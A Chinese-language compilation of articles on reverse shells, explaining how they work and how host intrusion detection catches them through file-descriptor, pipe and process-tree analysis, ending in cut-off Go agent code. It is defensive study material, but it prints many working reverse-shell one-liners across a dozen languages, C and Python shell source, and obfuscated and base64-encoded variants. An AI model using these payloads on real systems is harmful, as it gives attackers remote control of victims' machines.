反弹shell的实现方式和检测方法——常规攻击可以直接检测,pipe方式需要结合关联分析(图关联最好),如果含有混淆脚本,需要无文件攻击检测
看了几篇要点文章,阿里云做得最强。
反弹Shell是黑客控制受害服务器的一种攻击手段,常用于受害服务器位于内网、受限于防火墙策略等无法使用正向连接的入侵场景。本文介绍反弹Shell攻击的现状、常规解决方法、分类与检测思想以及云安全中心针对反弹Shell提供的多维检测技术。
背景信息
反弹Shell是黑客(即Shell攻击者)用于控制受害服务器的一种手段。Shell攻击者指定服务端,并将需要受害服务器执行的命令(标准输入、标准输出、标准错误等)重定向到该服务端。受害服务器主动连接攻击者的服务端程序,攻击者的服务端通过监听来自受害服务器的请求,对目标服务器下发指令并获取执行结果,以达到攻击者可以控制受害服务器的目的。
反弹Shell攻击现状
其中交互式Bash
+/dev/tcp
是使用最多的反弹Shell,/dev/tcp
作为Bash
的默认特性使得该反弹方式兼容绝大多数环境,因此使用率高。紧随其后的是兼容性较好且灵活易用的Python。随着Go语言的兴起,云上入侵事件开始出现Go反弹Shell。从上图可以看出弹Shell实现的方式灵活多样,每种语言都可以进一步延伸和扩展。因此,为了保障最优的检出效果,反弹Shell的检测方案需要综合考虑多种场景因素。
常规检测方法
- 命令日志采集不完整:例如通过Netlink等方式采集的日志,在碰到管道符、重定向时会无法采集完整的原始执行命令。而通过Patch Bash的方式记录命令日志,在遇到服务器使用Zsh、Ksh等其他Shell环境,或攻击者上传自己编译的Bash时会失效。
- 正则匹配无法覆盖无穷无尽的文本对抗:攻击者可以不断挖掘出新的变形方式来绕过正则匹配。在实际业务场景中,过多复杂的正则匹配会带来更大性能压力,而通配性更广的正则匹配会带来更多误报。
- 特征匹配失效:在网络流量被加密后,特征匹配会失效。
分类检测思想
因为表层对抗是无穷无尽的,检测需要由表及里,尽可能挖掘出更本质的解决方法。从检测的角度来看,反弹Shell的本质可以理解为:网络通信+命令执行+重定向方式。
- 网络通信可以使用TCP、UDP、ICMP等协议,TCP协议再细分又可以包含HTTP、HTTPS协议等,UDP包含DNS等。
- 命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。
- 重定向可以通过管道、成对的伪终端、内存文件等实现。
- 第一类反弹Shell:直接重定向Shell的输入输出到Socket
该类型反弹Shell最典型的例子是:
bash -i >& /dev/tcp/10.10.XX.XX/666 0>&1
以下介绍直接重定向Shell解释器的输入输出到Socket类型的常见案例。- 案例一:
bash -i >& /dev/tcp/10.10.XX.XX/6060 0>&1
- 案例二:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.XX.XX",6060)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
- 案例三:
php -r '$sock=fsockopen("10.10.XX.XX",6060);exec("/bin/sh -i <&3 >&3 2>&3");'
- 案例四:
perl -e 'use Socket;$i="10.10.XX.XX";$p=6060; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
- 案例五:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.execute('/bin/sh -i <&3 >&3 2>&3');"
该类型反弹Shell通过重定向bash -i
的标准输入、标准输出、标准错误到/dev/tcp Socket
进行网络通信。下图可以帮助您理解重定向过程。这类反弹Shell的检测可以通过检测Shell的标准输入、标注输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现。云安全中心已支持检测此类型的反弹Shell,下图是检测出该类型反弹Shell后产生的告警。 - 案例一:
- 第二类反弹Shell:通过管道、伪终端等中转,再重定向Shell的输入输出到中转
此类反弹Shell借助管道、伪终端等进行中转,例如下面这个典型案例将
sh -i
的标准输入、标准输出、标准错误重定向到命名管道/tmp/f
,同时加密通信数据也流向该命名管道。mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/f
通过管道、伪终端等作为中转体,并与Socket打通,重定向Shell解释器的输入输出到中转体,有以下常见案例:- 案例一:
nc 10.10.XX.XX 6060|/bin/sh|nc 10.10.XX.XX 5050 nc -e /bin/bash 10.10.XX.XX 6060 nc -c bash 10.10.XX.XX 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.XX:6060
- 案例二:
mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 6060>/tmp/f
- 案例三:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.XX.XX:6060 > /tmp/s; rm /tmp/s
- 案例四:
mknod backpipe p; nc 10.10.XX.XX 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe
- 案例五:
bash -c 'exec 5<>/dev/tcp/10.10.XX.XX/6060;cat <&5|while read line;do $line >&5 2>&1;done'
- 案例六:
telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050
在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道。云安全中心已支持检测通过管道中转的反弹Shell,下图是检测出该类型反弹Shell后产生的告警。此类反弹Shell使用频率较高,其中利用伪终端中转的方式值得单独讨论,比如以下案例。python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
通过伪终端中转与通过管道等中转原理一样,但通过伪终端中转的检测难度大大提升,单从Shell的标准输入输出来看,和正常打开的终端没有什么区别。此外,一些场景如容器、各类产品Agent等也会有相似的日志记录,平衡漏报与误报的难度上大大提升。因此我们在文件描述符合检测方案的基础上,结合进程、网络等多种日志信息综合分析。以下是云安全中心检测出的利用伪终端中转方式的告警。 - 案例一:
- 第三类反弹Shell:编程语言实现标准输入中转,重定向命令执行的输入到中转
第三种类型反弹Shell通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例:
python - c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"
Shell攻击者使用编程语言实现标准输入中转,重定向命令执行的输入到中转,有如下常见案例:- 案例一:
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.10.XX.XX',6060))\nwhile 1: proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
- 案例二:
lua5.1 -e 'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
- 案例三:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.XX.XX","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
在这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升,除了从进程命令行尽可能的覆盖这类反弹Shell的特征以外,云安全中心通过异常命令行为序列、异常Shell启动模型检测该类反弹Shell。
异常命令行为序列模型基于阿里云大数据实时计算平台,通过分析命令序列与攻击者获取Shell后行为相似度来判定是否为反弹Shell。而异常Shell启动模型结合多维度特征以及机器历史行为综合判定产出告警。以下是云安全中心已检测出的告警。 - 案例一:
云安全中心多维检测方案
除了分类检测思想中介绍的更贴近反弹Shell本质的FD检测技术、从行为目的出发的异常命令行为序列检测技术、异常Shell启动检测和常规的命令、网络特征覆盖方案以外,云安全中心同时使用以下检测技术:
- 脚本沙箱
对于脚本类型的反弹Shell,云安全中心提供针对性的解决方案。
云安全中心会对落盘脚本文件进行文件落盘检测,检测的语言包括但不限于Bash、Python、Perl、Vbs、PowerShell、Bat、JAR等。"${@~~}" "${@^^}" $BASH ${*%%$9tcW\)zX} <<< "$( "${@~~}" $'\162'''e${*}v <<< ' }^^*{$ ") }^^*{$ ; }4S:\{\/CZ.!\?//@{$ }^^@{$ "}~~H7ONC{$" s% f\"t"n""ir*$p}@!{$ },*{$ }L>JO%*{$ && }ca\L&[\%%@{$ '"'"'1&>0 3332/1.1.1.1/PCT/VED/ &> I- HSAB'"'"'=H7ONC ($" l}#VDG~g/g:fii\//*{$a"}~@{$"v'"'"'e'"'"' }~*{$ ' ${@~} ${@^} ; ${*%%S9;fj$^Y} )" ${*,,} ${@%r-,,}
云安全中心会对混淆类样本,通过每种语言的Trace模式,动态解混淆后进行检测。
近些年随着Java应用越来越多,在云上也出现一些利用JAR包进行反弹Shell的案例。云安全中心会对JAR等打包类文件进行静态反编译并结合动态的运行进行多维度判定。随着攻防对抗程度提升,无文件攻击越来越流行,云安全中心针对无文件类反弹Shell提供了相应检测方案。 - 二进制沙箱
云安全中心对于常见的C/C++、Go、MeterPreter Shellcode等二进制反弹Shell开发方式进行了特殊的识别和处理,综合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测。
- 流量特征分析
云安全中心覆盖常见Shell通信特征,辅助提升反弹Shell检测效果。
- 对抗行为检测
云安全中心覆盖常见绕过方式,如替换系统Shell、命令编码等,作为辅助手段提升检测效果。
规则检测常规反弹shell
我所理解的反弹shell,是外部人员通过web或者软件的漏洞,建立了一个数据流通向网络外部的shell执行环境。
现在针对一些网络上反弹shell实例作说明:
- 反弹shell
现在针对一些网络上反弹shell实例作说明:
实例1,Bash反弹:
Bash反弹,远程主机监听端口:
nc -lvp 7777
被入侵的机器反弹shell命令如下:
bash -i >& /dev/tcp/192.168.7.61/7777 0>&1
目标机执行后的结果如下:
创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。
匹配规则:bash进程的0,和1文件描述符指向socket
实例2,telnet反弹:
远程主机监听端口:
nc -lvvp 4444
nc -lvvp 5555
被入侵的机器反弹shell命令如下:
telnet 192.168.7.61 4444 | /bin/bash | telnet 192.168.7.61 5555
目标机执行后的结果如下:
创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到两个telnet进程上。两个telent创建了socket外联。
匹配规则:bash进程的0,和1文件描述符指向pipe
实例3,nc(netcat)反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.61 4444 >/tmp/f
目标机执行后的结果如下:
创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到文件和nc上。
匹配规则:bash进程的0,和1文件描述符指向pipe
实例4,perl反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
perl -e 'use Socket;$i="192.168.7.61";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
目标机执行后的结果如下:
创建了dash进程,0和1描述符都指向了socket。
匹配规则:dash或者sh进程的0,和1文件描述符指向socket
实例5,Python反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.61",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
目标机执行后的结果如下:
创建了bash进程,0和1描述符都指向了socket。
匹配规则:bash的0,和1文件描述符指向socket
实例6,php反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
php -r '$sock=fsockopen("192.168.7.61",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
目标机执行后的结果如下:
创建了bash和dash进程,0和1描述符都指向了socket。
匹配规则:bash或dash进程的0,和1文件描述符指向socket
实例7,受害机主动监听:
被入侵监听端口:
#!/usr/bin/python2
"""
Python Bind TCP PTY Shell - testing version
infodox - insecurety.net (2013)
Binds a PTY to a TCP port on the host it is ran on.
"""
import os
import pty
import socket
lport = 31337 # XXX: CHANGEME
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', lport))
s.listen(1)
(rem, addr) = s.accept()
os.dup2(rem.fileno(),0)
os.dup2(rem.fileno(),1)
os.dup2(rem.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
黑客主机机器主动连接如下:
telnet 192.168.7.6 31337
目标机执行后的结果如下:
接受连接后:
进程python的0和1变成socket:
Bash进程3和4是socket。
匹配规则:python进程的0,和1文件描述符指向socket
总结
归纳起来,就是具备执行环境的文件如果0和1文件描述符都关联到socket或者pipe,就认为它是反弹shell。
常用的执行环境如下:
Bash, dash, sh, python, php, perl等。
关于反弹shell检测的简单思考
反弹shell的本质是把bash/zsh等进程的 0 1 2 输入输出重定向到远程socket,由socket中获取输入,重定向 标准输出(1)和错误输出(2)到socket。定位到这个本质后,检测的思路也就有了。本文简单说一下几种检测方法。同样,由于进程通信的复杂性,bash进程的输入输出可能是一个pipe,本文也简单讨论一下这种情况的检测思路。
demo1 /bin/bash 经典反弹shell
一个经典的反弹shell的demo如下:
# client:
/bin/bash > /dev/tcp/192.168.43.146/11111 0>&1 2>&1 &
# server:
ncat -lvvp 11111
反弹成功后,/bin/bash的file descriptor(0 1 2)会被重定向。server上可以控制client的/bin/bash进程的0 1 2。
理想情况下,如果反弹shell的本质可以归纳为file descriptor的重定向,那么检测所有进程的file descriptor是否被重定向即可。正常情况下 0 1 2 都不会被重定位给一个server。
检测方法
在反弹shell后,ps -ef查看不到/bin/bash文件描述符的重定位(见下图高亮部分):
1. lsof
使用lsof检测,如果出现了0 1 2 文件描述符的重定位,则存在反弹shell的风险。
lsof -n | grep ESTABLISHED |grep -E '0u|1u|2u'
# -n: 显示ip而不是域名
2. /proc//fd
查看/proc//fd 查看进程打开的fd来查看是否建立了socket链接:
ls -al /proc/2633/fd
3. netstat -anop
查看是否有bash/sh等进程建立了socket连接。
netstat -anop |grep ESTABLISHED
demo2 借助pipe 反弹shell
绝大多数的反弹shell都是借住重定向socket来和 bash进程进行输入输出交互。如果存在管道符号,那么bash进程交互的则是一个pipe。例子如下:
# client
nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888
# server
ncat -lvvp 7777
# server
ncat -lvvp 8888
效果如下:
此时,bash进程的输入输出都来自其他进程的pipe,/proc//fds的情况如下。可以看到0 1 都从pipe获取,非socket。如果检测反弹shell时,只检测socket则会存在漏报。
检测思路
如何检测这种情况呢?
不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。我们只需要递归查看pipe的输入,是否是来自一个socket。例如,跟踪pipe,发现pipe的进程建立了socket连接,那么就存在反弹shell的风险。(更严谨一点,需要定位到这歌socket和pipe的数据传递过程)
总结
反弹shell的本质可以定义为:一个client上的bash进程 可以和 server上的进程通信。
而反弹shell的检测,本质上就是检测 shell进程(如bash)的输入输出是否来自于一个远程的server。
由于进程通信的复杂性(例如pipe),会导致单纯的检测shell进程的0 1 2 是否来自socket会存在漏报。但是按照这个思路,检测shell进程的0 1 2 的来源,顺着来源继续跟踪,如果最终是来自一个socket。那么则存在反弹shell的风险。
timeline:
20190705夜
20190917夜: 更新pipe 反弹shelldemo和检测思路
检测方法
- 特征:shell(sh bash zsh)进程存在异常的stdin/stdout、异常参数、异常网络连接。
- 行为:检测大概率是在ssh登陆下才会使用的二进制文件(如ls/cat/ip/ipconfig/cd/chmod),1.如果发现这些进程的stdin/stdout和tty不一致则告警;2.如果发现这些进程的dip/dport/sip/sport和SSH_CONNECTION不一致则告警
反弹手段和检测方法
反弹方法 | 检测方法 |
---|---|
bash -i >& /dev/tcp/ $ip/ $port 0>&1 |
bash进程存在异常的stdin/stdout,或者异常的argv,或者bash的进程树存在异常的网络连接bash进程的0,和1文件描述符指向socket |
telnet $ip $port | /bin/bash | telnet $ip $port |
同上bash进程的0,和1文件描述符指向pipe |
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc $ip $port >/tmp/f |
同上 |
perl -e ' .. ;exec("/bin/sh -i");};' |
同上dash或者sh进程的0,和1文件描述符指向socket |
python -c 'import socket, ... ;p=subprocess.call(["/bin/bash","-i"]);' |
同上bash的0,和1文件描述符指向socket |
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");' |
同上bash或dash进程的0,和1文件描述符指向socket |
受害主机通过程序(如python)主动监听 | 同上进程的0,和1文件描述符指向socket |
telnet c2_ip c2_port 0<SOME_DEVNAME | /bin/bash 1>SOME_DEVNAME |
通过execve()检测大概率是在ssh登陆下才会使用的二进制文件(如ls/cat/ip/ipconfig/cd/chmod),1.如果发现这些进程的stdin/stdout和tty不一致则告警;2.如果发现这些进程的dip/dport/sip/sport和SSH_CONNECTION不一致则告警execve()调用 |
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:c2_ip:c2_port |
同上 |
msf反弹、apache后门模块、nginx后门模块 |
同上 |
linux检测反弹shell
1、bash -i >& /dev/tcp/192.168.110.78/6767 0>&1
可以看到bash -i的输入输出和错误输出全部定位到了一个socket上
我们lsof看一下bash进程
我们可以看到bash远程指向一个ip,那我们完全可以判定这是一个反弹shell。
2、nc -e /usr/bin/bash 192.168.110.78 6767
这里我们看到bash的输入输出都定位到了管道上,而这个管道指向父进程nc,而且这两个进程都连接了一个socket
这两个socket都是指向其他机器,所以我们也可以断定为一个反弹shell
3、mknod backpipe p && telnet 192.168.110.78 666 0<backpipe | /usr/bin/bash 1>backpipe
我们可以看到,bash的输入是管道,输出是个文件,而talent的输入是个文件,输出是管道,形成了一个闭环,并且有socket行为,所以我们可以断定它为反弹shell。
mknod backpipe p; nc 192.168.110.78 6767 0<backpipe | /usr/bin/bash 1>backpipe 2>backpipe 是类似的
4、rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -I 2>&1|nc 192.168.110.78 6767 >/tmp/f
这里我们发现bash下有三个子进程,但是仔细看,这三也是成环的,而且nc中有socket连接,所以也判定为反弹shell
5、/usr/bin/tcsh -i >& /dev/tcp/192.168.110.78/6767 0>&1
这里很多socket连接,bash下就很不正常,罪名成立
6、bash -c 'sh -I &>/dev/tcp/192.168.110.78/6767 0>&1'
bash子进程看起来啥也没干,但子进程的子进程在搞事情,杀之!
7、python -c 'import pty;pty.spawn("bash")' >/dev/tcp/192.168.110.78/6767 <&1 2>&1
我们可以看到bash虽然没有什么可疑操作,但是他的父进程python存在外连,那也不能惯着,杀!
8、socat TCP4:192.168.110.78:6767 EXEC:bash,pty,stderr,setsid,sigint,sane
我们发现bash和socat都有很多奇怪的外联,杀掉
特殊、msf上线
因为查杀msf会大大提高误报率,所以msf这里不要查
反弹shell的常用手法
简介
如果我们需要到服务器上执行 Shell 命令,但是因为防火墙等原因,无法由客户端主动发起连接的情况,就可以使用反弹 Shell 来满足登陆和操作的需求。
原理
操作受害者机器,将某开放端口的数据发送到可执行命令的程序上,将结果返回给攻击机。攻击机发送向受害者开放端口发送命令,接收命令执行结果。
反弹shell
bash
bash -i >& /dev/tcp/ip/port 0>&1
0:标准输入;1:标准输出;2:标准错误。
bash -i:产生一个交互式环境
>&:将标准输出和标准错误结合,一起重定向给后者
/dev/tcp/ip/port:建立一个tcp连接
0>&1:将标准输入重定向到标准输出
nc
Linux命令-nc(端口监控、文件传输、反弹shell等)_lady_killer9的博客-CSDN博客
python
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
python -c command
将字符串当做python代码执行
同理,上面也是利用bash进行的反弹
php
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'
perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
ruby
ruby -rsocket -e'f=TCPSocket.open("接收端ip",端口).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
telnet
mknod a p; telnet 接收端IP 端口 0<a | /bin/bash 1>a
Windows平台,可以使用powercat reverseudpshell icmpsh
检测
及时发现Bash进程启动事件
检查Bash进程是否打开了终端设备,是否有主动对外连接
防御
防火墙限制
Netlink监听,kill进程(详见腾讯云参考)
参考
HIDS-Agent开发之检测反弹shell
阅读量 257093 |
发布时间:2021-04-06 10:00:56
介绍
bash -i >& /dev/tcp/127.0.0.1/1234 0>&1 #TCP
Listener:
nc -nvlp 1234
目标机执行后的结果如下:
创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。
匹配规则:bash进程的0,和1文件描述符指向socket
sh -i >& /dev/udp/127.0.0.1/1234 0>&1 #UDP
Listener:
nc -u -lvp 1234
目标机执行后的结果如下:
创建了一个常住进程“sh -i”, 它的得0和1文件描述符都指向socket。
匹配规则:bash进程的0,和1文件描述符指向socket
0<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了socket。
匹配规则:sh的0,和1文件描述符指向socket
exec 5<>/dev/tcp/127.0.0.1/1234; while read line 0<&5; do $line 2>&5 >&5; done
目标机执行后的结果如下:
匹配规则:某一个bash进程的0 文件描述符指向socket
nohup bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'
base64搞一下命令
echo "nohup bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNCAwPiYxJwo= | base64 -d | bash 2>/dev/null
目标机执行后的结果如下:
创建了bash进程,0和1描述符都指向了socket。
匹配规则:bash的0,和1文件描述符指向socket
telnet 127.0.0.1 1234 | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 127.0.0.1 1234 >/tmp/f
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet 127.0.0.1 1234 1>/tmp/bkpipe
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了pipe。
匹配规则:sh进程的0,和1文件描述符指向pipe
telnet 127.0.0.1 1234 | /bin/bash | telnet 127.0.0.1 12345
目标机执行后的结果如下:
创建了bash进程,0和1描述符都指向了pipe。
匹配规则:bash进程的0,和1文件描述符指向pipe
perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[127.0.0.1]:[1234]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
export RHOST="127.0.0.1";export RPORT=1234;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了socket。
匹配规则:sh的0,和1文件描述符指向socket
php -r 'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/1234")'
目标机执行后的结果如下:
创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。
匹配规则:bash进程的0,和1文件描述符指向socket
ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了socket。
匹配规则:sh的0,和1文件描述符指向socket
nc -e /bin/sh 127.0.0.1 1234
如果nc 不支持 -e
nc 127.0.0.1 1234 | /bin/sh #Blind
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc 127.0.0.1 1234 1>/tmp/bkpipe
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了pipe,这两个pipe关联到文件和nc上。
匹配规则:sh进程的0,和1文件描述符指向pipe
lua -e "require('socket');require('os');t=socket.tcp();t:connect('127.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了socket。
匹配规则:sh的0,和1文件描述符指向socket
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
目标机执行后的结果如下:
匹配规则:某一个bash进程的0 文件描述符指向socket
Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1234");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了pipe。
匹配规则:sh进程的0,和1文件描述符指向pipe
Nodejs
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, "127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了socket。
匹配规则:sh的0,和1文件描述符指向socket
require('child_process').exec('nc -e /bin/sh 127.0.0.1 1234')
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc 127.0.0.1 1234 -e /bin/bash')
目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了pipe,这两个pipe关联到nc进程上。nc创建了socket外联。
匹配规则:sh进程的0,和1文件描述符指向pipe
用openssl 反弹shell
攻击者
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
靶机
openssl s_client -quiet -connect 127.0.0.1:1234|/bin/bash|openssl s_client -quiet -connect 127.0.0.1:12345
目标机执行后的结果如下:
创建了bash进程,0和1描述符都指向了pipe。
匹配规则:bash进程的0,和1文件描述符指向pipe
awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/1234"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
无明显文件句柄特征
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 1234;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
目标机执行后的结果如下:
创建了一个常住进程“sh ”, 它的得0和1文件描述符都指向socket。
匹配规则:sh进程的0,和1文件描述符指向socket
归纳起来,shell环境的进程如果0和1(或某一个)文件描述符都关联到socket或者pipe,就认为它是反弹shell。
shell 环境包含: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
HIDS-Agent 开发
使用 cgroups + etcd + kafka 开发而成的hids的架构,agent 部分使用go 开发而成, 会把采集的数据写入到kafka里面,由后端的规则引擎(go开发而成)消费,配置部分以及agent存活使用etcd。关于agent 使用cgroups限制资源以及使用etcd做配置管理agent存活等已经在前文介绍了一下。下面介绍一下agent分析反弹shell的部分。
代码例子:
主要是分析 Linux /proc的内容
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
func GetProcessList() (resultData []map[string]string) {
var dirs []string
var err error
dirs, err = dirsUnder("/proc")
if err != nil || len(dirs) == 0 {
return
}
for _, v := range dirs {
